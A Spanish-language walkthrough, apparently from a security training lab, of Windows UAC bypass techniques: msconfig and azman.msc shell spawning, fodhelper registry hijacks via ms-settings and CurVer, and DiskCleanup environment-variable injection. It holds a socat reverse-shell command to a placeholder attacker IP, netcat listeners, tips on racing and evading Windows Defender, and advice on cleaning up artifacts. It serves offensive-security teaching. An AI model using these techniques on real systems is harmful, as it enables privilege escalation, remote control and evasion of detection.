Bypass UAC
Última actualización
Última actualización
El Control de cuentas de usuario ( UAC ) es una característica de seguridad de Windows que obliga a que cualquier proceso nuevo se ejecute en el contexto de seguridad de una cuenta sin privilegios de forma predeterminada. Esta política se aplica a los procesos iniciados por cualquier usuario, incluidos los propios administradores. La idea es que no podemos confiar únicamente en la identidad del usuario para determinar si se deben autorizar algunas acciones.
Aunque esto pueda parecer contradictorio, imagine el caso en el que el usuario BOB, sin saberlo, descarga una aplicación maliciosa de Internet. Si BOB es parte del grupo de Administradores, cualquier aplicación que inicie heredará sus privilegios de token de acceso. Entonces, si BOB decide iniciar la aplicación maliciosa y UAC está desactivado, la aplicación maliciosa obtendría privilegios de administrador al instante. En cambio, la aplicación maliciosa se restringirá a un token de acceso no administrativo cuando UAC esté habilitado.
Si se requiere que un administrador realice una tarea privilegiada, UAC proporciona una forma de elevar los privilegios. Elevation funciona presentando un cuadro de diálogo simple al usuario para confirmar que aprueba explícitamente la ejecución de la aplicación en un contexto de seguridad administrativa:
UAC es un Control de Integridad Obligatorio (MIC) , que es un mecanismo que permite diferenciar usuarios, procesos y recursos asignando un Nivel de Integridad (IL) a cada uno de ellos. En términos generales, los usuarios o procesos con un token de acceso a IL más alto podrán acceder a recursos con IL más bajos o iguales. MIC tiene prioridad sobre las DACL normales de Windows , por lo que es posible que esté autorizado a acceder a un recurso según la DACL, pero no importará si su IL no es lo suficientemente alto.
Windows utiliza los siguientes 4 IL, ordenados de menor a mayor:
Nivel de integridad
Usar
Bajo
Generalmente se utiliza para interactuar con Internet (es decir, Internet Explorer). Tiene permisos muy limitados.
Medio
Asignado a usuarios estándar y tokens filtrados de administradores.
Alto
Utilizado por los tokens elevados de los administradores si UAC está habilitado. Si UAC está deshabilitado, todos los administradores siempre usarán un token de IL alto.
Sistema
Reservado para uso del sistema.
Cuando un proceso requiere acceder a un recurso, heredará el token de acceso del usuario que llama y su IL asociado. Lo mismo ocurre si un proceso bifurca a un niño.
Para lograr esta separación de roles, UAC trata a los usuarios y administradores habituales de una manera ligeramente diferente durante el inicio de sesión:
Los no administradores recibirán un token de acceso único cuando inicien sesión, que se utilizará para todas las tareas realizadas por el usuario. Este token tiene IL medio.
Los administradores recibirán dos tokens de acceso:
Token filtrado: un token sin privilegios de administrador, que se utiliza para operaciones regulares. Este token tiene IL medio.
Token elevado: un token con privilegios completos de administrador, que se utiliza cuando es necesario ejecutar algo con privilegios administrativos. Este token tiene un IL alto.
De esta manera, los administradores utilizarán su token filtrado a menos que soliciten explícitamente privilegios administrativos a través de UAC .
Al intentar abrir una consola normal, podemos abrirla como usuario sin privilegios o como administrador. Dependiendo de nuestra elección, se asignará un token de nivel de integridad Medio o Alto al proceso generado:
Si analizamos ambos procesos usando Process Hacker, podemos ver los tokens asociados y sus diferencias:
A la izquierda, tiene un token filtrado con IL medio y casi sin privilegios asignados. A la derecha, puede ver que el proceso se ejecuta con un IL alto y tiene muchos más privilegios disponibles. Otra diferencia que puede no ser tan obvia es que al proceso de IL medio se le niega efectivamente cualquier privilegio relacionado con ser parte del grupo de Administradores.
Dependiendo de nuestros requisitos de seguridad, UAC se puede configurar para ejecutarse en cuatro niveles de notificación diferentes:
Notificar siempre: notifica y solicita autorización al usuario cuando realiza cambios en la configuración de Windows o cuando un programa intenta instalar aplicaciones o realizar cambios en la computadora.
Notificarme solo cuando los programas intenten realizar cambios en mi computadora: Notificar y solicitar autorización al usuario cuando un programa intente instalar aplicaciones o realizar cambios en la computadora. No se solicitará a los administradores cuando cambien la configuración de Windows.
Notificarme solo cuando los programas intenten realizar cambios en mi computadora (no atenúe mi escritorio): igual que arriba, pero no ejecutará el indicador de UAC en un escritorio seguro.
Nunca notificar: deshabilite el mensaje UAC . Los administradores ejecutarán todo utilizando un token de privilegios altos.
De forma predeterminada, UAC está configurado en Notificarme solo cuando los programas intentan realizar cambios en el nivel de mi computadora:
Desde la perspectiva de un atacante, los tres niveles de seguridad inferiores son equivalentes y sólo la configuración Notificar siempre presenta una diferencia.
En el corazón de la UAC , tenemos el Servicio de Información de Aplicaciones(Application Information Service ) o Appinfo . Siempre que un usuario requiere elevación, ocurre lo siguiente:
El usuario solicita ejecutar una aplicación como administrador.
Se realiza una llamada a la API ShellExecute utilizando el verbo runas .
La solicitud se reenvía a Appinfo para manejar la elevación.
Se verifica el manifiesto de la aplicación para ver si se permite AutoElevation (más sobre esto más adelante).
Appinfo ejecuta consent.exe , que muestra el mensaje UAC en un escritorio seguro . Un escritorio seguro es simplemente un escritorio separado que aísla los procesos de lo que se esté ejecutando en el escritorio del usuario real para evitar que otros procesos manipulen el mensaje de UAC de alguna manera.
Si el usuario da su consentimiento para ejecutar la aplicación como administrador, el servicio Appinfo ejecutará la solicitud utilizando el token elevado del usuario. Luego, Appinfo establecerá el ID del proceso principal del nuevo proceso para que apunte al shell desde el que se solicitó la elevación.
Desde la perspectiva de un atacante, puede haber situaciones en las que obtenga un shell remoto para un host de Windows a través de Powershell o cmd.exe. Incluso podrías obtener acceso a través de una cuenta que sea parte del grupo de Administradores, pero cuando intentas crear un usuario de puerta trasera para acceso futuro, aparece el siguiente error:
Al verificar nuestros grupos asignados, podemos confirmar que nuestra sesión se está ejecutando con un IL medio, lo que significa que efectivamente estamos usando un token filtrado:
Incluso cuando tenemos una sesión de Powershell con un usuario administrativo, UAC nos impide realizar tareas administrativas ya que actualmente solo utilizamos un token filtrado. Si queremos tomar el control total de nuestro objetivo, debemos evitar la UAC.
Curiosamente, Microsoft no considera a UAC un límite de seguridad sino más bien una simple conveniencia para el administrador para evitar ejecutar procesos innecesariamente con privilegios administrativos. En ese sentido, el aviso de UAC es más un recordatorio para el usuario de que está ejecutando con altos privilegios en lugar de impedir que un malware o un atacante lo haga. Dado que no es un límite de seguridad, cualquier técnica de derivación no se considera una vulnerabilidad para Microsoft y, por lo tanto, algunas de ellas siguen sin parchearse hasta el día de hoy.
En términos generales, la mayoría de las técnicas de derivación dependen de que podamos aprovechar un proceso de IL alto para ejecutar algo en nuestro nombre. Dado que cualquier proceso creado por un proceso principal de IL alto heredará el mismo nivel de integridad, esto será suficiente para obtener un token elevado sin que tengamos que pasar por el mensaje UAC .
Para todos los escenarios presentados en esta sala, asumimos que tenemos acceso al servidor con una cuenta administrativa pero solo desde una consola Medium IL. Nuestro objetivo siempre será acceder a una consola High IL sin pasar por UAC .
Nuestro objetivo es obtener acceso a un símbolo del sistema de alto IL sin pasar por UAC . Primero, comencemos abriendo msconfig, ya sea desde el menú de inicio o desde el cuadro de diálogo "Ejecutar":
Si analizamos el proceso msconfig con Process Hacker (disponible en tu escritorio), notamos algo interesante. Incluso cuando no se nos presentó ningún mensaje de UAC , msconfig se ejecuta como un proceso de IL alto:
Esto es posible gracias a una función llamada elevación automática que permite elevar archivos binarios específicos sin requerir la interacción del usuario. Más detalles sobre esto más adelante.
Si pudiéramos forzar a msconfig a generar un shell para nosotros, el shell heredaría el mismo token de acceso utilizado por msconfig y, por lo tanto, se ejecutaría como un proceso de IL alto. Al navegar a la pestaña Herramientas, podemos encontrar una opción para hacer precisamente eso:
Si hacemos clic en Iniciar, obtendremos un símbolo del sistema de IL alto sin interactuar con UAC de ninguna manera.
Para recuperar el indicador msconfig, use la consola de alta integridad obtenida para ejecutar:
Al igual que con msconfig, azman.msc se elevará automáticamente sin requerir la interacción del usuario. Si podemos encontrar una manera de generar un shell desde ese proceso, omitiremos UAC . Tenga en cuenta que, a diferencia de msconfig, azman.msc no tiene una forma integrada de generar un shell. Podemos superar esto fácilmente con un poco de creatividad.
Podemos confirmar que se generó un proceso con alto IL mediante el uso de Process Hacker. Tenga en cuenta que todos los archivos .msc se ejecutan desde mmc.exe (Microsoft Management Console):
Para ejecutar un shell, abusaremos de la ayuda de la aplicación:
En la pantalla de ayuda, haremos clic derecho en cualquier parte del artículo de ayuda y seleccionaremos Ver código fuente :
Esto generará un proceso de bloc de notas que podemos aprovechar para obtener un shell. Para hacerlo, vaya a Archivo->Abrir y asegúrese de seleccionar Todos los archivos en el cuadro combinado en la esquina inferior derecha. Ir aC:\Windows\System32y buscarcmd.exey haga clic derecho para seleccionar Abrir:
Esto una vez más omitirá UAC y nos dará acceso a un símbolo del sistema de alta integridad. Puede consultar el árbol de procesos en Process Hacker para ver cómo se pasa el token de alta integridad desde mmc (Microsoft Management Console, iniciado a través de Azman), hasta cmd.exe:
Para recuperar la bandera azman, use la consola de alta integridad obtenida para ejecutar:
Como se mencionó anteriormente, algunos ejecutables pueden elevarse automáticamente, logrando un alto IL sin la intervención del usuario. Esto se aplica a la mayoría de las funciones del Panel de control y a algunos ejecutables proporcionados con Windows.
Para una aplicación, se deben cumplir algunos requisitos para la elevación automática:
El ejecutable debe estar firmado por el editor de Windows.
El ejecutable debe estar contenido en un directorio confiable, como%SystemRoot%/System32/o%ProgramFiles%/
Dependiendo del tipo de aplicación, pueden aplicarse requisitos adicionales:
mmc.exe se elevará automáticamente según el complemento .msc que solicite el usuario. La mayoría de los archivos .msc incluidos con Windows se elevarán automáticamente.
Windows mantiene una lista adicional de ejecutables que se elevan automáticamente incluso cuando no se solicitan en el manifiesto. Esta lista incluye pkgmgr.exe y spinstall.exe, por ejemplo.
Fodhelper.exe es uno de los ejecutables predeterminados de Windows encargado de administrar las funciones opcionales de Windows, incluidos idiomas adicionales, aplicaciones no instaladas de forma predeterminada u otras características del sistema operativo. Como la mayoría de los programas utilizados para la configuración del sistema, fodhelper puede elevar automáticamente cuando usa la configuración UAC predeterminada para que a los administradores no se les solicite la elevación cuando realizan tareas administrativas estándar. Si bien ya hemos visto un ejecutable de autoElevate, a diferencia de msconfig, se puede abusar de fodhelper sin tener acceso a una GUI.
Lo que se notó sobre fodhelper es que busca en el registro una clave de interés específica:
Cuando Windows abre un archivo, comprueba el registro para saber qué aplicación utilizar. El registro contiene una clave conocida como ID programática ( ProgID ) para cada tipo de archivo, donde está asociada la aplicación correspondiente. Digamos que intentas abrir un archivo HTML. Se verificará una parte del registro conocida como HKEY_CLASSES_ROOT para que el sistema sepa que debe usar su cliente web preferido para abrirlo. El comando a utilizar se especificará en elshell/open/commandsubclave para el ProgID de cada archivo. Tomando el ProgID "archivo html" como ejemplo:
En realidad, HKEY_CLASSES_ROOT es sólo una vista combinada de dos rutas diferentes en el registro:
Camino
Descripción
HKEY_LOCAL_MACHINE\Software\Clases
Asociaciones de archivos en todo el sistema
HKEY_CURRENT_USER\Software\Clases
Asociaciones de archivos del usuario activo
Al verificar HKEY_CLASSES_ROOT, si hay una asociación específica de usuario en HKEY_CURRENT_USER (HKCU) , tendrá prioridad. Si no se configura ninguna asociación específica de usuario, se utilizará en su lugar la asociación de todo el sistema en HKEY_LOCAL_MACHINE (HKLM) . De esta forma, cada usuario podrá elegir por separado sus aplicaciones preferidas si así lo desea.
Volviendo a fodhelper, ahora vemos que está intentando abrir un archivo en el ProgID de configuración de ms. Al crear una asociación para ese ProgID en el contexto del usuario actual en HKCU, anularemos la asociación predeterminada de todo el sistema y, por lo tanto, controlaremos qué comando se usa para abrir el archivo. Dado que fodhelper es un ejecutable de autoElevate, cualquier subproceso que genere heredará un token de alta integridad, evitando efectivamente UAC .
Uno de nuestros agentes ha instalado una puerta trasera en el servidor de destino para su comodidad. Logró crear una cuenta dentro del grupo de Administradores, pero UAC impide la ejecución de cualquier tarea privilegiada. Para recuperar la bandera, necesita que usted omita UAC y obtenga un shell de IL alto completamente funcional.
Para conectarse a la puerta trasera, puede usar el siguiente comando:
Una vez conectado comprobamos si nuestro usuario forma parte del grupo de Administradores y que está ejecutando con un token de integridad medio:
Configuramos los valores de registro requeridos para asociar la clase ms-settings a un shell inverso. Para su comodidad, puede encontrar una copia de socat enc:\tools\socat\. Puede utilizar los siguientes comandos para configurar las claves de registro necesarias desde una línea de comando estándar:
Observe cómo necesitamos crear un valor vacío llamado DelegateExecute para que la asociación de clases surta efecto. Si este valor de registro no está presente, el sistema operativo ignorará el comando y utilizará en su lugar la asociación de clases de todo el sistema.
Configuramos un oyente usando netcat en nuestra máquina:
nc -lvp 4444
Y luego proceda a ejecutar fodhelper.exe , que a su vez activará la ejecución de nuestro shell inverso:
El shell recibido se ejecuta con alta integridad, lo que indica que hemos omitido UAC con éxito . Para recuperar el indicador fodhelper, use su nuevo shell para ejecutar:
Nota: Tenga en cuenta que la bandera solo se devolverá si omitió UAC con éxito a través de fodhelper y solo desde el shell de alta integridad resultante.
Como resultado de la ejecución de este exploit, se crearon algunos artefactos en el sistema de destino en forma de claves de registro. Para evitar la detección, debemos limpiar lo que ensuciamos con el siguiente comando:
Para simplificar, la máquina a la que nos dirigimos tiene Windows Defender deshabilitado. ¿Pero qué pasaría si estuviera habilitado?
Primero, usando su conexión GUI , vaya a su escritorio y haga doble clic en el siguiente icono para habilitar Windows Defender:
Ahora intente explotar fodhelper nuevamente a través de la conexión de puerta trasera y vea qué sucede en la GUI del servidor . Así como cambias el(default)valor enHKCU\Software\Classes\ms-settings\Shell\Open\commandPara insertar su comando de shell inverso, aparecerá una notificación de Windows Defender:
Al hacer clic en la notificación, podemos verificar los detalles de la alerta, que mencionan un intento de omisión de UAC modificando un valor de registro:
Si consulta el valor correspondiente en el registro, notará que se ha borrado:
Aunque a estas alturas parecería que nuestro exploit no funcionaría con Windows Defender habilitado, verifique qué sucede si ejecuta los mismos comandos pero con una ligera modificación (asegúrese de reemplazar su dirección IP cuando sea necesario):
Hemos agregado una consulta rápida al valor de registro infractor justo después de configurarlo en el comando requerido para nuestro shell inverso. Sorprendentemente, la consulta genera nuestro comando intacto. Windows Defender todavía nos alerta y, un segundo después, el valor de registro infractor se elimina como se esperaba. Parece que Windows Defender tarda un momento en actuar sobre nuestro exploit, así que configuremos un detector inverso en la máquina de nuestro atacante:
Y modifique el exploit para ejecutar fodhelper.exe inmediatamente después de configurar el valor del registro. Si el comando se ejecuta lo suficientemente rápido, simplemente funcionará (asegúrese de reemplazar su dirección IP cuando sea necesario) :
Dependiendo de tu suerte, fodhelper podría ejecutarse antes de que se active el AV , devolviéndote un shell inverso. Si por alguna razón no funciona para usted, tenga en cuenta que este método no es confiable ya que depende de que se ejecute primero una carrera entre el AV y su carga útil. Si el shell inverso no funciona, simplemente continúe con el resto de la sala, ya que a continuación se proporcionará una forma más consistente de evitar Windows Defender.
Sin embargo, Windows Defender todavía alerta sobre la omisión. El problema con nuestro exploit actual es que deja poco margen de variación, ya que necesitamos escribir claves de registro específicas para que se active, lo que facilita su detección por parte de Windows Defender. Pero aún queda algo por hacer al respecto.
En lugar de escribir nuestra carga útil enHKCU\Software\Classes\ms-settings\Shell\Open\command, usaremos elCurVerentrada bajo una clave de registro progID. Esta entrada se utiliza cuando tiene varias instancias de una aplicación con diferentes versiones ejecutándose en el mismo sistema. CurVer le permite señalar la versión predeterminada de la aplicación que utilizará Windows al abrir un tipo de archivo determinado.
Con este fin, crearemos una entrada en el registro para un nuevo progID de nuestra elección (cualquier nombre servirá) y luego apuntaremos la entrada CurVer en el progID de ms-settings a nuestro progID recién creado. De esta manera, cuando fodhelper intenta abrir un archivo usando el progID de ms-settings, notará la entrada CurVer que apunta a nuestro nuevo progID y lo verificará para ver qué comando usar.
El código de explotación propuesto por @V3ded utiliza Powershell para lograr este fin. Aquí hay una versión modificada adaptada para usar nuestro shell inverso (asegúrese de reemplazar su dirección IP cuando sea necesario) :
Este exploit crea un nuevo ID de programa con el nombre .pwn y asocia nuestra carga útil al comando utilizado al abrir dichos archivos. Luego apunta la entrada CurVer de ms-settings a nuestro ID de programa .pwn. Cuando fodhelper intenta abrir un programa de configuración de ms, en su lugar apuntará al ID de programa .pwn y utilizará su comando asociado.
Es más probable que esta técnica eluda Windows Defender ya que tenemos más libertad sobre dónde colocar nuestra carga útil, ya que el nombre del ID de programa que contiene nuestra carga útil es completamente arbitrario. Comencemos un nuevo shell inverso en la máquina de nuestro atacante:
Y ejecute el exploit desde nuestra conexión de puerta trasera tal como está. Como resultado, Windows Defender lanzará otra alerta que hace referencia a nuestras acciones:
Aunque todavía nos detectan, es esencial tener en cuenta que a veces los métodos de detección utilizados por el software antivirus se implementan estrictamente contra el exploit publicado, sin considerar posibles variaciones. Si traducimos nuestro exploit de Powershell para usar cmd.exe, el antivirus no generará ninguna alerta (asegúrese de reemplazar su dirección IP cuando sea necesario) :
Y obtenemos un shell inverso de alta integridad:
Para recuperar el indicador fodhelper-curver, use su nuevo shell para ejecutar:
Nota: Tenga en cuenta que la bandera solo se devolverá si omitió UAC con éxito a través de fodhelper y solo desde el shell de alta integridad resultante a través de socat.
Como resultado de la ejecución de este exploit, se crearon algunos artefactos en el sistema de destino, como claves de registro. Para evitar la detección, debemos limpiar lo que ensuciamos con los siguientes comandos:
Como se vio en la tarea anterior, en las configuraciones predeterminadas de Windows, puede abusar de las aplicaciones relacionadas con la configuración del sistema para omitir UAC , ya que la mayoría de estas aplicaciones tienen el indicador autoElevate configurado en sus manifiestos. Sin embargo, si UAC está configurado en el nivel "Notificar siempre", fodhelper y aplicaciones similares no serán de ninguna utilidad, ya que requerirán que el usuario pase por el mensaje de UAC para elevar. Esto evitaría que se utilizaran varios métodos de derivación conocidos, pero no se pierden todas las esperanzas.
Para la siguiente técnica, abusaremos de una tarea programada que puede ejecutar cualquier usuario pero que se ejecutará con los privilegios más altos disponibles para la persona que llama. Las tareas programadas son un objetivo apasionante. Por diseño, están destinados a ejecutarse sin ninguna interacción del usuario (independientemente del nivel de seguridad de UAC ), por lo que pedirle al usuario que eleve un proceso manualmente no es una opción. Cualquier tarea programada que requiera elevación la obtendrá automáticamente sin pasar por un mensaje de UAC.
Nota: asegúrese de desactivar Windows Defender para esta tarea, o puede tener algunas dificultades al ejecutar el exploit. Simplemente ejecute el acceso directo proporcionado en el escritorio de su máquina para desactivarlo.
Para entender por qué elegimos el Liberador de espacio en disco, abramos el Programador de tareas y verifiquemos la configuración de la tarea:
Aquí podemos ver que la tarea está configurada para ejecutarse con la cuenta de Usuarios , lo que significa que heredará los privilegios del usuario que llama. La opción Ejecutar con los privilegios más altos utilizará el token de seguridad con privilegios más alto disponible para el usuario que llama, que es un token de IL alto para un administrador. Tenga en cuenta que si un usuario normal que no es administrador invoca esta tarea, se ejecutará solo con IL medio, ya que es el token de privilegio más alto disponible para los no administradores y, por lo tanto, la omisión no funcionaría.
Revisando las pestañas Acciones y Configuración, tenemos lo siguiente:
La tarea se puede ejecutar bajo demanda, ejecutando el siguiente comando cuando se invoque:
%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%
Dado que el comando depende de variables de entorno, es posible que podamos inyectar comandos a través de ellas y ejecutarlos iniciando la tarea DiskCleanup manualmente.
Por suerte para nosotros, podemos anular la %windir%variable a través del registro creando una entrada enHKCU\Environment. Si queremos ejecutar un shell inverso usando socat, podemos configurarlo %windir% de la siguiente manera (sin las comillas):
"cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "
Al final de nuestro comando, concatenamos "&REM " (que termina con un espacio en blanco) para comentar lo que se coloque después %windir%al expandir la variable de entorno para obtener el comando final utilizado por DiskCleanup. El comando resultante sería (asegúrese de reemplazar su dirección IP cuando sea necesario):
cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%
Donde cualquier cosa después de "REM" se ignora como comentario.
Configuremos un oyente para un shell inverso con nc:
nc -lvp 4446
Luego nos conectaremos a la puerta trasera proporcionada en el puerto 9999:
nc MACHINE_IP 9999
Y finalmente, ejecute los siguientes comandos para escribir nuestra carga útil %windir%y luego ejecute la tarea DiskCleanup (asegúrese de reemplazar su dirección IP cuando sea necesario) :
Como resultado, debería obtener un caparazón con alto IL:
Para recuperar el indicador DiskCleanup, use su nuevo shell para ejecutar:
Nota: Tenga en cuenta que la bandera solo se devolverá si omitió UAC mediante diskcleanup y solo desde el shell de alta integridad resultante mediante socat.
Como resultado de la ejecución de este exploit, se crearon algunos artefactos en el sistema de destino, como claves de registro. Para evitar la detección, debemos limpiar lo que ensuciamos con el siguiente comando:
Nota: Asegúrese de ejecutar el comando proporcionado para evitar que cualquier artefacto interfiera con las siguientes tareas. Dado que muchos componentes de Windows dependen de la variable de entorno %windir%, muchas cosas no funcionarán correctamente hasta que elimine la clave de registro utilizada para esta omisión.
Hay disponible una excelente herramienta para probar las omisiones de UAC sin necesidad de escribir sus exploits desde cero. Creado por @hfiref0x, UACME proporciona un repositorio actualizado de técnicas de derivación de UAC que se pueden utilizar de inmediato. La herramienta está disponible para descargar en su repositorio oficial en:
Si bien UAC ME proporciona varias herramientas, nos centraremos principalmente en la llamada Akagi, que ejecuta las derivaciones de UAC reales. Puede encontrar una versión compilada de Akagi enC:\tools\UACME-Akagi64.exe.
El uso de la herramienta es sencillo y sólo requiere que indiques el número correspondiente al método a probar. Una lista completa de métodos está disponible en la descripción de GitHub del proyecto. Si desea probar el método 33, puede hacer lo siguiente desde un símbolo del sistema y aparecerá un cmd.exe de alta integridad:
Los métodos introducidos a través de esta sala también pueden ser probados por la UACME utilizando los siguientes métodos:
33
fodhelper.exe
34
Tarea programada DiskCleanup
70
fodhelper.exe usando la clave de registro CurVer
Hemos mostrado varios métodos para evitar UAC en sistemas Windows en esta sala. Si bien la mayoría de estos métodos tienen herramientas automáticas asociadas, cualquier solución antivirus del mercado los detectará fácilmente si se usan nada más sacarlos de la caja. Conocer los métodos reales le dará una ventaja como atacante al permitirle personalizar sus exploits según sea necesario y hacerlos más evasivos.
Como hemos visto, UAC no se considera un límite de seguridad y, por lo tanto, es propenso a varios métodos de elusión.
Si está interesado en aprender más técnicas, los siguientes recursos están disponibles:
Primero, ejecutemos azman.msc:
Los archivos ejecutables (.exe) deben declarar el elemento autoElevate dentro de sus manifiestos. Para verificar el manifiesto de un archivo, podemos usar , una herramienta proporcionada como parte de la suite Sysinternals. Puede encontrar una copia de sigcheck en su máquina en C:\tools\ . Si verificamos el manifiesto de msconfig.exe, encontraremos la propiedad autoElevate:
Los objetos COM también pueden solicitar elevación automática configurando algunas claves de registro ( ).
Desde la perspectiva de un atacante, esto significa que puede usarse a través de un shell remoto de integridad media y aprovecharse en un proceso de alta integridad completamente funcional. Esta técnica en particular fue descubierta por y ha sido utilizada de forma natural por el .
propuso una variación del exploit fodhelper , donde se utilizan diferentes claves de registro, pero el principio básico es el mismo.
